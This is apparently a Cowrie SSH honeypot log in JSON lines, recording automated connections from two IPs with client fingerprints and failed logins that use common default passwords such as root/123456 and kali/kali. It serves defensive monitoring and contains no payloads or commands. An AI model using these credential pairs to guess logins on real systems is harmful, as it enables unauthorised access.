{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59060,"dst_ip":"159.203.135.109","dst_port":22,"session":"f24bec040558","protocol":"ssh","message":"New connection: 192.109.200.78:59060 (159.203.135.109:22) [session: f24bec040558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:26.283058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:26.314003Z","src_ip":"192.109.200.78","session":"f24bec040558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:26.385602Z","src_ip":"192.109.200.78","session":"f24bec040558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:26.819968Z","src_ip":"192.109.200.78","session":"f24bec040558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:27.909098Z","src_ip":"192.109.200.78","session":"f24bec040558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53304,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3419ee29c6f","protocol":"ssh","message":"New connection: 176.65.139.95:53304 (159.203.135.109:22) [session: b3419ee29c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:28.260254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:28.322237Z","src_ip":"176.65.139.95","session":"b3419ee29c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:28.368104Z","src_ip":"176.65.139.95","session":"b3419ee29c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:28.704426Z","src_ip":"176.65.139.95","session":"b3419ee29c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:29.793438Z","src_ip":"176.65.139.95","session":"b3419ee29c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44476,"dst_ip":"159.203.135.109","dst_port":22,"session":"75e810f88642","protocol":"ssh","message":"New connection: 192.109.200.78:44476 (159.203.135.109:22) [session: 75e810f88642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:30.430787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:30.436290Z","src_ip":"192.109.200.78","session":"75e810f88642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:30.525515Z","src_ip":"192.109.200.78","session":"75e810f88642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:30.777620Z","src_ip":"192.109.200.78","session":"75e810f88642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:31.893859Z","src_ip":"192.109.200.78","session":"75e810f88642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44488,"dst_ip":"159.203.135.109","dst_port":22,"session":"32cb9c1acc63","protocol":"ssh","message":"New connection: 192.109.200.78:44488 (159.203.135.109:22) [session: 32cb9c1acc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:34.622227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:34.625922Z","src_ip":"192.109.200.78","session":"32cb9c1acc63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:34.709300Z","src_ip":"192.109.200.78","session":"32cb9c1acc63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44974,"dst_ip":"159.203.135.109","dst_port":22,"session":"50d318a1732f","protocol":"ssh","message":"New connection: 176.65.139.95:44974 (159.203.135.109:22) [session: 50d318a1732f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:34.926030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:34.930278Z","src_ip":"176.65.139.95","session":"50d318a1732f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:35.014549Z","src_ip":"176.65.139.95","session":"50d318a1732f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:35.025249Z","src_ip":"192.109.200.78","session":"32cb9c1acc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:35.281431Z","src_ip":"176.65.139.95","session":"50d318a1732f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:36.110377Z","src_ip":"192.109.200.78","session":"32cb9c1acc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:36.365510Z","src_ip":"176.65.139.95","session":"50d318a1732f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"430091d769f7","protocol":"ssh","message":"New connection: 192.109.200.78:41900 (159.203.135.109:22) [session: 430091d769f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:38.776671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:38.781257Z","src_ip":"192.109.200.78","session":"430091d769f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:38.863316Z","src_ip":"192.109.200.78","session":"430091d769f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:39.109188Z","src_ip":"192.109.200.78","session":"430091d769f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:40.200299Z","src_ip":"192.109.200.78","session":"430091d769f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44346,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc70f33d3624","protocol":"ssh","message":"New connection: 176.65.139.95:44346 (159.203.135.109:22) [session: fc70f33d3624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:41.210716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:41.215346Z","src_ip":"176.65.139.95","session":"fc70f33d3624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:41.317416Z","src_ip":"176.65.139.95","session":"fc70f33d3624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:41.797221Z","src_ip":"176.65.139.95","session":"fc70f33d3624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:42.918494Z","src_ip":"176.65.139.95","session":"fc70f33d3624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41912,"dst_ip":"159.203.135.109","dst_port":22,"session":"9273d41fa898","protocol":"ssh","message":"New connection: 192.109.200.78:41912 (159.203.135.109:22) [session: 9273d41fa898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:43.163828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:43.168793Z","src_ip":"192.109.200.78","session":"9273d41fa898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:43.260569Z","src_ip":"192.109.200.78","session":"9273d41fa898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:43.514227Z","src_ip":"192.109.200.78","session":"9273d41fa898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:44.709632Z","src_ip":"192.109.200.78","session":"9273d41fa898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44360,"dst_ip":"159.203.135.109","dst_port":22,"session":"023eeda067d6","protocol":"ssh","message":"New connection: 176.65.139.95:44360 (159.203.135.109:22) [session: 023eeda067d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:47.639594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:47.661601Z","src_ip":"176.65.139.95","session":"023eeda067d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-s